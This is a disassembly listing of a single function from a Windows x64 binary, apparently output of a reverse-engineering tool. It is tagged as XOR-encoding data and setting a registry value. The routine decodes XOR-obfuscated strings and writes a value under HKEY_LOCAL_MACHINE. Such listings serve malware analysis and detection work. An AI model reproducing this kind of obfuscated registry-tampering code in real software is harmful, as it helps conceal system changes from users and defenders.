Function at 0x140071a10
Capabilities:
Encode data using xor
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x100
mov rax, qword [0x14033b600]
xor rax, rsp
mov qword [rbp + 0x4f], rax
movdqa xmm0, xmmword [str.062__5_]
xor ebx, ebx
movdqa xmm1, xmmword [0x140311b50]
mov ecx, ebx
movdqa xmmword [rbp - 0x39], xmm0
movdqa xmm0, xmmword [0x140311960]
movdqa xmmword [rbp - 0x19], xmm0
movdqa xmm0, xmmword [0x140311930]
movdqa xmmword [rbp - 0x29], xmm1
movdqa xmm1, xmmword [0x140311940]
movdqa xmmword [rbp + 7], xmm0
movdqa xmmword [rbp - 9], xmm1
mov dword [rbp + 0x17], 0x1008483
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x63]
xor byte [rbp + rcx - 0x39], al
inc rcx
cmp rcx, 0x52
jb 0x140071a90
mov byte [rbp + 0x1a], bl
mov rcx, rbx
mov dword [rbp - 0x79], 0x1111012d
mov dword [rbp - 0x75], 0x2b021a08
mov dword [rbp - 0x71], 0x1d081e0f
mov word [rbp - 0x6d], Ordinal_33
mov byte [rbp - 0x6b], 1
nop word [rax + rax]
lea eax, [rcx + 0x63]
xor byte [rbp + rcx - 0x79], al
inc rcx
cmp rcx, 0xd
jb 0x140071ad0
lea rax, [rbp + 0x47]
mov byte [rbp - 0x6b], bl
mov r9d, 0x2001f
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov qword [rbp + 0x47], rbx
lea rdx, [rbp - 0x39]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edx, 8
lea rcx, [rbp + 0x27]
call fcn.1400701d0
cmp qword [rax + 0x18], 0x10
jb 0x140071b22
mov rax, qword [rax]
mov rdi, 0xffffffffffffffff
nop dword [rax]
inc rdi
cmp byte [rax + rdi], bl
jne 0x140071b30
mov edx, 8
lea rcx, [rbp - 0x59]
inc edi
call fcn.1400701d0
cmp qword [rax + 0x18], 0x10
jb 0x140071b52
mov rax, qword [rax]
mov rcx, qword [rbp + 0x47]
lea rdx, [rbp - 0x79]
mov dword [rsp + 0x28], edi
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rdx, qword [rbp - 0x41]
mov edi, eax
cmp rdx, 0x10
jb 0x140071baf
mov rcx, qword [rbp - 0x59]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140071baa
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140071d6b
call fcn.140223f10
mov rdx, qword [rbp + 0x3f]
mov qword [rbp - 0x49], rbx
mov qword [rbp - 0x41], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x59], bl
cmp rdx, 0x10
jb 0x140071bf9
mov rcx, qword [rbp + 0x27]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140071bf4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140071d6b
call fcn.140223f10
test edi, edi
jne 0x140071d71
movdqa xmm0, xmmword [str.8O8F_J8]
mov rcx, rbx
movdqu xmmword [rbp - 0x79], xmm0
mov dword [rbp - 0x69], 0xf191806
mov dword [rbp - 0x65], 0x15092b57
mov dword [rbp - 0x61], 0x1a181a14
mov dword [rbp - 0x5d], 0x100a15f
nop dword [rax]
lea eax, [rcx + 0x63]
xor byte [rbp + rcx - 0x79], al
inc rcx
cmp rcx, 0x1e
jb 0x140071c30
lea rcx, [rbp - 0x79]
mov byte [rbp - 0x5a], bl
call fcn.140239ef0
movdqa xmm0, xmmword [0x140311910]
mov rcx, rbx
movdqu xmmword [rbp - 0x79], xmm0
mov dword [rbp - 0x69], 0x1005a5d
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x63]
xor byte [rbp + rcx - 0x79], al
inc rcx
cmp rcx, 0x12
jb 0x140071c70
lea rcx, [rbp - 0x79]
mov byte [rbp - 0x66], bl
call fcn.140239ef0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbp + 0x47]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp qword [rbp + 0x47], rbx
je 0x140071d29
movdqa xmm0, xmmword [str.8O8F5_.J8]
movdqu xmmword [rbp - 0x79], xmm0
mov dword [rbp - 0x69], 0xf191806
mov dword [rbp - 0x65], 0x15153b57
mov dword [rbp - 0x61], 0x5e191908
mov word [rbp - 0x5d], 0x5e
mov byte [rbp - 0x5b], 1
nop word [rax + rax]
lea eax, [rbx + 0x63]
xor byte [rbp + rbx - 0x79], al
inc rbx
cmp rbx, 0x1d
jb 0x140071ce0
lea rcx, [rbp - 0x79]
mov byte [rbp - 0x5b], 0
call fcn.140239ef0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.140223ef0
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
movdqa xmm0, xmmword [0x140311720]
lea rcx, [rbp - 0x79]
movdqu xmmword [rbp - 0x79], xmm0
mov dword [rbp - 0x69], 0x1f061b1f
mov dword [rbp - 0x65], 0x5b591f19
mov word [rbp - 0x61], 0x100
call fcn.1400719e0
mov rcx, rax
call fcn.140239ef0
call fcn.140239dac
mov ecx, 1
call fcn.140234cac
int3
call fcn.14023482c
int3
movdqa xmm0, xmmword [str.8I8F_J__r]
lea rcx, [rbp - 0x79]
movdqu xmmword [rbp - 0x79], xmm0
mov dword [rbp - 0x69], 0x101a1b03
mov dword [rbp - 0x65], 0x5a1e161e
mov word [rbp - 0x61], 0x5a
mov byte [rbp - 0x5f], 1
call fcn.140071140
mov rcx, rax
call fcn.140239ef0
call fcn.140239dac
mov ecx, 1
call fcn.140234cac
int3